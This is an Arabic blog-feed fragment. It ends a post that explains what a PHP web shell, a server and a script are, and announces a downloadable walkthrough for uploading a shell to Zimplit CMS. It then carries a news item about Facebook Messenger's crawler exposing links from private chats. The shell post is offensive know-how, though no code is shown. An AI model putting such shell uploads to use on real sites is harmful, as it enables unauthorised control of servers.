style="font-family: Arial, Helvetica, sans-serif;"><b>هو <span style="color: red;">ملف مبرمج</span> بلغة <span style="color: red;">php</span> ويمكن برمجته بـ لغات مختلفة تانية زى <span style="color: red;">Perl</span>, <span style="color: red;">Python</span>, <span style="color: red;">Bash</span></b></span></div> <div dir="rtl" style="text-align: right;"> <span style="font-family: Arial, Helvetica, sans-serif;"><b><br /></b></span></div> <div dir="rtl" style="text-align: right;"> <span style="font-family: Arial, Helvetica, sans-serif;"><b><span style="color: red;">وظيفة الشل</span> ؟</b></span></div> <div dir="rtl" style="text-align: right;"> <span style="font-family: Arial, Helvetica, sans-serif;"><b>هو <span style="color: red;">اداة</span> مساعدة ليك فى تنفيذ اوامرك على السيرفر, نقدر نقول عليه <span style="color: red;">Command Interpreter</span> لتنفيذ اوامرك من عليه وفيه <span style="color: red;">File Manager</span> يمكنك من التنقل داخل ملفات ومجلدات الموقع</b></span></div> <div dir="rtl" style="text-align: right;"> <span style="font-family: Arial, Helvetica, sans-serif;"><b><br /></b></span></div> <div dir="rtl" style="text-align: right;"> <span style="font-family: Arial, Helvetica, sans-serif;"><b><span style="color: red;">سيرفر</span> "<span style="color: red;">Server</span>" ؟</b></span></div> <div dir="rtl" style="text-align: right;"> <span style="font-family: Arial, Helvetica, sans-serif;"><b>هو <span style="color: red;">خادم</span>, جهاز كمبيوتر بيتم تثبيت عليه نظام تشغيل <span style="color: red;">لينكس</span> او <span style="color: red;">ويندوز</span> بيكون متصل بالانترنت بشكل مستمر, امكانيات الهاردوير عالية جدا ومخصصة للعمل كـ <span style="color: red;">سيرفر</span></b></span></div> <div dir="rtl" style="text-align: right;"> <span style="font-family: Arial, Helvetica, sans-serif;"><b><br /></b></span></div> <div dir="rtl" style="text-align: right;"> <span style="font-family: Arial, Helvetica, sans-serif;"><b><span style="color: red;">سكربت</span> "<span style="color: red;">Script</span>" ؟</b></span></div> <div dir="rtl" style="text-align: right;"> <span style="font-family: Arial, Helvetica, sans-serif;"><b>هو <span style="color: red;">نص برمجى</span> مكتوب بلغة برمجة من نوع <span style="color: red;">Scripting Language</span> زى لغة <span style="color: red;">Php</span>, <span style="color: red;">Asp</span>, <span style="color: red;">Perl</span>, <span style="color: red;">Python</span> وغيرهم اغلب استخدامه فى تطوير وتصميم الموقع وليه استخدامات كتيرة على حسب الكود البرمجى</b></span></div> <div dir="rtl" style="text-align: right;"> <span style="font-family: Arial, Helvetica, sans-serif;"><b><br /></b></span></div> <div dir="rtl" style="text-align: right;"> <span style="font-family: Arial, Helvetica, sans-serif;"><b>نيجى لشرحنا احنا يا رجالة هنشوف مع بعض ازاى نرفع شل بكل سهولة على السكربت ده</b></span></div> <div dir="rtl" style="text-align: right;"> <span style="color: red; font-family: Arial, Helvetica, sans-serif;"><b>لتحميل الشرح على مركز top4top</b></span></div> <div dir="rtl" style="text-align: right;"> <span style="color: red; font-family: Arial, Helvetica, sans-serif;"><b><a href="http://up.top4top.net/downloadf-1740j5z1-rar.html" rel="nofollow" target="_blank">Upload shell in Zimplit cms</a></b></span></div> <div dir="rtl" style="text-align: right;"> <span style="font-family: Arial, Helvetica, sans-serif;"><b>اى استفسار او اضافة اهلا بيها يا رجالة</b></span></div> <div dir="rtl" style="text-align: right;"> <span style="font-family: Arial, Helvetica, sans-serif;"><b>موفقين ~</b></span></div> <div dir="rtl" style="text-align: right;"> <span style="color: red; font-family: Arial, Helvetica, sans-serif; font-size: large;"><b>الصياد /.</b></span></div> </div> 2شركة أمنية تكتشف ثغرة فى فيس بوك تسمح برؤية الرسائل عبر تطبيق ماسنجرhttps://web0sec.blogspot.com/2016/07/security-company-detect-vulnerability-in-facebook-messenger-application.htmlarticlesnewsnoreply@blogger.com (ElSyad)Fri, 1 Jul 2016 20:17:00 -0700tag:blogger.com,1999:blog-8590898748877079327.post-2504467770700982441<div dir="ltr" style="text-align: left;" trbidi="on"> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiiEWuK4nyqPcEIjijL2pB8AmsIikj2ikwaI_zdeFwJD6jTLZ9_8gBIBxUdimM74iqljbZznInuV2mM3sDxSTnR1-VfUwyDlTenSMPIGiSBjH24tDAtw7TDfJk7hkiVpaYKrcSrM6Gcd115/s1600/facebook-messenger.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="شركة,أمنية,تكتشف,ثغرة,فى,فيس,بوك,تسمح,برؤية,الرسائل,عبر,تطبيق,ماسنجر" border="0" height="202" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiiEWuK4nyqPcEIjijL2pB8AmsIikj2ikwaI_zdeFwJD6jTLZ9_8gBIBxUdimM74iqljbZznInuV2mM3sDxSTnR1-VfUwyDlTenSMPIGiSBjH24tDAtw7TDfJk7hkiVpaYKrcSrM6Gcd115/s320/facebook-messenger.jpg" title="شركة أمنية تكتشف ثغرة فى فيس بوك تسمح برؤية الرسائل عبر تطبيق ماسنجر" width="320" /></a></div> <div dir="rtl" style="text-align: right;"> <br /></div> <div dir="rtl" style="text-align: right;"> <br /></div> <div dir="rtl" style="text-align: right;"> <span style="text-align: start;"><span style="font-family: &quot;arial&quot; , &quot;helvetica&quot; , sans-serif;"><b>فى وقت سابق من هذا الشهر، أجرت شركة أمنية ومقرها بلجيكا تحمل اسم Inti De Ceukelaire دراسة عن حجم الخصوصية على تطبيق فيس بوك ماسنجر.</b></span></span></div> <div dir="rtl" style="text-align: right;"> <span style="text-align: start;"><span style="font-family: &quot;arial&quot; , &quot;helvetica&quot; , sans-serif;"><b>ووجدت أن الروابط المشتركة بين المستخدمين فى الدردشة يمكن تحديدها عن طريق أداة Facebook’s crawler</b></span></span></div> <div dir="rtl" style="text-align: right;"> <span style="text-align: start;"><span style="font-family: &quot;arial&quot; , &quot;helvetica&quot; , sans-serif;"><b>والتى تستخدم لتمييز تفاصيل URL معين، ويتم استخدام تلك الأداة لعرض كافة المعلومات الخاصة بالروابط التى يتم إرسالها عبر ماسنجر.</b></span></span></div> <div dir="rtl" style="text-align: right;"> <span style="text-align: start;"><span style="font-family: &quot;arial&quot; , &quot;helvetica&quot; , sans-serif;"><b>ولاحظت شركة Inti De Ceukelaire أن هذه الأداة لا تمثل خطورة إذا تم الاحتفاظ بالبيانات سرا، ولكن الأداة تسمح للمطورين بصلاحيات متعددة.</b></span></span></div> <div dir="rtl" style="text-align: right;"> <span style="text-align: start;"><span style="font-family: &quot;arial&quot; , &quot;helvetica&quot; , sans-serif;"><b>فكانت الشركة قادرة على الوصول إلى الروابط المشتركة فى المحادثات الخاصة.</b></span></span></div> <div dir="rtl" style="text-align: right;"> <span style="text-align: start;"><span style="font-family: &quot;arial&quot; , &quot;helvetica&quot; , sans-serif;"><b>وحاولت الشركة التواصل مع فيس بوك بخصوص هذه المسألة، وقدمت تقريرا لبرنامج مكافآت الشبكة الاجتماعية لاكتشاف الثغرات الأمنية،</b></span></span></div> <div dir="rtl" style="text-align: right;"> <span style="text-align: start;"><span style="font-family: &quot;arial&quot; , &quot;helvetica&quot; , sans-serif;"><b>ولكن الشركة ردت بأن هذا الأمر لا يعد ثغرة بل ميزة يوفرها فيس بوك للمطورين.</b></span></span></div> <div dir="rtl" style="text-align: right;"> <span style="text-align: start;"><span style="font-family: &quot;arial&quot; , &quot;helvetica&quot; , sans-serif;"><b>وحذرت الشركة الأمنية وقالت إنه يمكن استغلالها لاكتشاف الروابط التى قد تحتوى على معلومات خاصة وحساسة.</b></span></span></div> <div dir="rtl" style="text-align: right;"> <span style="text-align: start;"><span style="font-family: &quot;arial&quot; , &quot;helvetica&quot; , sans-serif;"><b>وقال المتحدث باسم فيس بوك صحيفة "ديلى دوت" أنه تم النظر فى التقرير الذى تقدمت به الشركة.</b></span></span></div> <div dir="rtl" style="text-align: right;"> <span style="font-family: &quot;arial&quot; , &quot;helvetica&quot; , sans-serif;"><b><span style="text-align: start;">وفيس بوك واثقة من أمن هذه الميزة.</span></b></span></div> </div> 0